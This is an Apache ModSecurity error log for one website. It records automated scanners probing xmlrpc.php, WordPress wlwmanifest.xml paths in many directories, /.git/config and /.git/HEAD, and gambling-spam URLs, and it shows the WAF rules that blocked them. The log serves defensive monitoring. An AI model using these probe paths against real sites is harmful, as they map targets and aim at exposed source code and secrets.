[Tue Apr 21 19:46:44.530528 2026] [:error] [pid 53978:tid 54002] [client 66.167.147.141:28090] [client 66.167.147.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.167.147.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedjpJ1ivsR4hcOSQbYMDgAAApY"]
[Tue Apr 21 19:54:53.623674 2026] [:error] [pid 53731:tid 53741] [client 122.161.173.52:28737] [client 122.161.173.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.173.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedljV2I9THUR-bRVGxMDAAAAgY"]
[Tue Apr 21 19:55:04.073132 2026] [:error] [pid 35320:tid 35333] [client 122.161.173.52:17485] [client 122.161.173.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.173.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedlmIJW6fdXWO6agMGfdAAAAAM"]
[Tue Apr 21 19:55:14.905834 2026] [:error] [pid 35320:tid 35354] [client 122.161.173.52:10801] [client 122.161.173.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.173.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedlooJW6fdXWO6agMGfkQAAABg"]
[Tue Apr 21 19:55:25.500084 2026] [:error] [pid 53731:tid 53741] [client 122.161.173.52:14202] [client 122.161.173.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.173.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedlrV2I9THUR-bRVGxMSAAAAgY"]
[Tue Apr 21 19:55:35.980478 2026] [:error] [pid 4823:tid 4871] [client 122.161.173.52:32320] [client 122.161.173.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.173.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedlt_c8mke3PfHqsxH2oAAAAZI"]
[Tue Apr 21 20:26:32.924516 2026] [:error] [pid 35321:tid 35400] [client 43.163.110.140:34402] [client 43.163.110.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeds-DeHLhVUuu8cVXyK7AAAAFA"]
[Tue Apr 21 21:27:41.467543 2026] [:error] [pid 53978:tid 53989] [client 43.153.215.224:38092] [client 43.153.215.224] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aed7TZ1ivsR4hcOSQbYo3AAAAok"]
[Tue Apr 21 22:04:31.842737 2026] [:error] [pid 35321:tid 35403] [client 49.12.238.251:38524] [client 49.12.238.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.12.238.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeeD7zeHLhVUuu8cVXzXYwAAAFM"]
[Tue Apr 21 22:46:31.203861 2026] [:error] [pid 35320:tid 35337] [client 34.53.195.55:63153] [client 34.53.195.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.195.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeeNx4JW6fdXWO6agMH-mwAAAAc"]
[Tue Apr 21 22:46:31.204028 2026] [:error] [pid 35320:tid 35337] [client 34.53.195.55:63153] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeeNx4JW6fdXWO6agMH-mwAAAAc"]
[Tue Apr 21 22:46:32.309317 2026] [:error] [pid 4777:tid 4789] [client 34.53.195.55:49816] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeeNyKxXur6bykKyLZS2cQAAAQE"]
[Tue Apr 21 22:46:33.415292 2026] [:error] [pid 35320:tid 35353] [client 34.53.195.55:62760] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeeNyYJW6fdXWO6agMH-oQAAABc"]
[Tue Apr 21 22:46:34.532174 2026] [:error] [pid 53832:tid 53843] [client 34.53.195.55:63923] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeeNytzkuxsE_OhM9UJ9jQAAAkg"]
[Tue Apr 21 22:46:35.654134 2026] [:error] [pid 54080:tid 54104] [client 34.53.195.55:49167] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aeeNy4zEbQHHxtmWbabTawAAAtY"]
[Tue Apr 21 22:46:36.759636 2026] [:error] [pid 35321:tid 35387] [client 34.53.195.55:50450] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aeeNzDeHLhVUuu8cVXz1DQAAAEM"]
[Tue Apr 21 22:46:37.868499 2026] [:error] [pid 35320:tid 35331] [client 34.53.195.55:50380] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aeeNzYJW6fdXWO6agMH-qwAAAAE"]
[Tue Apr 21 22:46:38.981527 2026] [:error] [pid 35321:tid 35390] [client 34.53.195.55:50445] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aeeNzjeHLhVUuu8cVXz1FgAAAEY"]
[Tue Apr 21 22:46:40.105533 2026] [:error] [pid 53731:tid 53743] [client 34.53.195.55:51273] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aeeN0F2I9THUR-bRVGyRdgAAAgg"]
[Tue Apr 21 22:46:41.215384 2026] [:error] [pid 53731:tid 53745] [client 34.53.195.55:58408] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aeeN0V2I9THUR-bRVGyReAAAAgo"]
[Tue Apr 21 22:46:42.363631 2026] [:error] [pid 53978:tid 53985] [client 34.53.195.55:57745] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aeeN0p1ivsR4hcOSQbY_FAAAAoU"]
[Tue Apr 21 22:46:43.483671 2026] [:error] [pid 35320:tid 35347] [client 34.53.195.55:51292] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeeN04JW6fdXWO6agMH-uAAAABE"]
[Tue Apr 21 22:46:44.582860 2026] [:error] [pid 35320:tid 35346] [client 34.53.195.55:61845] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aeeN1IJW6fdXWO6agMH-vAAAABA"]
[Tue Apr 21 22:46:45.702759 2026] [:error] [pid 54080:tid 54095] [client 34.53.195.55:63684] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aeeN1YzEbQHHxtmWbabTcwAAAs0"]
[Tue Apr 21 22:46:46.807720 2026] [:error] [pid 35321:tid 35396] [client 34.53.195.55:63658] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aeeN1jeHLhVUuu8cVXz1MAAAAEw"]
[Tue Apr 21 22:46:47.912192 2026] [:error] [pid 35320:tid 35330] [client 34.53.195.55:63568] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aeeN14JW6fdXWO6agMH-wQAAAAA"]
[Tue Apr 21 22:46:49.012249 2026] [:error] [pid 53832:tid 53841] [client 34.53.195.55:58409] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aeeN2dzkuxsE_OhM9UJ9mAAAAkY"]
[Tue Apr 21 22:46:50.109158 2026] [:error] [pid 54080:tid 54091] [client 34.53.195.55:59853] [client 34.53.195.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.195.55, counter = 6"] [hostname "gigfragments.org"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aeeN2ozEbQHHxtmWbabTdgAAAsk"]
[Tue Apr 21 22:51:23.047031 2026] [:error] [pid 35321:tid 35398] [client 72.61.200.156:33214] [client 72.61.200.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aeeO6zeHLhVUuu8cVXz58QAAAE4"]
[Tue Apr 21 22:51:25.037461 2026] [:error] [pid 53978:tid 54004] [client 72.61.200.156:33232] [client 72.61.200.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aeeO7Z1ivsR4hcOSQbZBWwAAApg"]
[Tue Apr 21 23:11:04.728257 2026] [:error] [pid 35320:tid 35335] [client 77.95.113.65:51066] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeeTiIJW6fdXWO6agMEQRgAAAAU"]
[Tue Apr 21 23:37:55.666840 2026] [:error] [pid 4777:tid 4808] [client 51.77.217.11:53342] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeeZ06xXur6bykKyLZS9zgAAARQ"]
[Tue Apr 21 23:37:57.514302 2026] [:error] [pid 35320:tid 35330] [client 51.77.217.11:53348] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeeZ1YJW6fdXWO6agMEnxAAAAAA"]
[Tue Apr 21 23:37:59.435854 2026] [:error] [pid 53832:tid 53838] [client 51.77.217.11:60898] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeeZ19zkuxsE_OhM9UKIIgAAAkM"]
[Tue Apr 21 23:38:01.328812 2026] [:error] [pid 53978:tid 53988] [client 51.77.217.11:60914] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeeZ2Z1ivsR4hcOSQbZTlgAAAog"]
[Tue Apr 21 23:38:03.312688 2026] [:error] [pid 35320:tid 35336] [client 51.77.217.11:60922] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeeZ24JW6fdXWO6agMEnzwAAAAY"]
[Tue Apr 21 23:38:05.150604 2026] [:error] [pid 35321:tid 35386] [client 51.77.217.11:60936] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeeZ3TeHLhVUuu8cVXwWMQAAAEI"]
[Tue Apr 21 23:38:07.083451 2026] [:error] [pid 54080:tid 54085] [client 51.77.217.11:60940] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeeZ34zEbQHHxtmWbabh_AAAAsM"]
[Tue Apr 21 23:38:09.139339 2026] [:error] [pid 35320:tid 35346] [client 51.77.217.11:34122] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeeZ4YJW6fdXWO6agMEn4QAAABA"]
[Tue Apr 21 23:38:11.086744 2026] [:error] [pid 53978:tid 53999] [client 51.77.217.11:34136] [client 51.77.217.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeeZ451ivsR4hcOSQbZTqAAAApM"]
[Wed Apr 22 02:30:19.004576 2026] [:error] [pid 53978:tid 54003] [client 35.203.184.76:45460] [client 35.203.184.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aefCO51ivsR4hcOSQbaBewAAApc"]
[Wed Apr 22 02:43:36.824430 2026] [:error] [pid 35321:tid 35398] [client 42.200.231.39:3601] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aefFWDeHLhVUuu8cVXxu6QAAAE4"]
[Wed Apr 22 02:43:38.906099 2026] [:error] [pid 35321:tid 35395] [client 42.200.231.39:5981] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aefFWjeHLhVUuu8cVXxu8QAAAEs"]
[Wed Apr 22 02:43:40.628419 2026] [:error] [pid 35321:tid 35408] [client 42.200.231.39:17729] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aefFXDeHLhVUuu8cVXxu9wAAAFg"]
[Wed Apr 22 02:43:42.661215 2026] [:error] [pid 53731:tid 53741] [client 42.200.231.39:5994] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aefFXl2I9THUR-bRVGzqrgAAAgY"]
[Wed Apr 22 02:43:44.586487 2026] [:error] [pid 54080:tid 54103] [client 42.200.231.39:25151] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aefFYIzEbQHHxtmWbaYIuwAAAtU"]
[Wed Apr 22 02:43:46.489283 2026] [:error] [pid 4823:tid 4864] [client 42.200.231.39:19291] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aefFYvc8mke3PfHqsxEsEgAAAYs"]
[Wed Apr 22 02:43:48.456907 2026] [:error] [pid 54080:tid 54091] [client 42.200.231.39:12084] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aefFZIzEbQHHxtmWbaYIvAAAAsk"]
[Wed Apr 22 02:43:50.785051 2026] [:error] [pid 35321:tid 35395] [client 42.200.231.39:12751] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aefFZjeHLhVUuu8cVXxvBgAAAEs"]
[Wed Apr 22 02:43:53.045868 2026] [:error] [pid 4777:tid 4798] [client 42.200.231.39:22810] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aefFaaxXur6bykKyLZTR3gAAAQo"]
[Wed Apr 22 02:43:55.337104 2026] [:error] [pid 35321:tid 35406] [client 42.200.231.39:16750] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aefFazeHLhVUuu8cVXxvCwAAAFY"]
[Wed Apr 22 02:43:57.274706 2026] [:error] [pid 35321:tid 35388] [client 42.200.231.39:52816] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aefFbTeHLhVUuu8cVXxvFgAAAEQ"]
[Wed Apr 22 02:43:59.517671 2026] [:error] [pid 53832:tid 53839] [client 42.200.231.39:52478] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aefFb9zkuxsE_OhM9UKm0gAAAkQ"]
[Wed Apr 22 02:44:01.577231 2026] [:error] [pid 53731:tid 53746] [client 42.200.231.39:38234] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aefFcV2I9THUR-bRVGzqyQAAAgs"]
[Wed Apr 22 02:44:03.327305 2026] [:error] [pid 54080:tid 54094] [client 42.200.231.39:58470] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aefFc4zEbQHHxtmWbaYIxAAAAsw"]
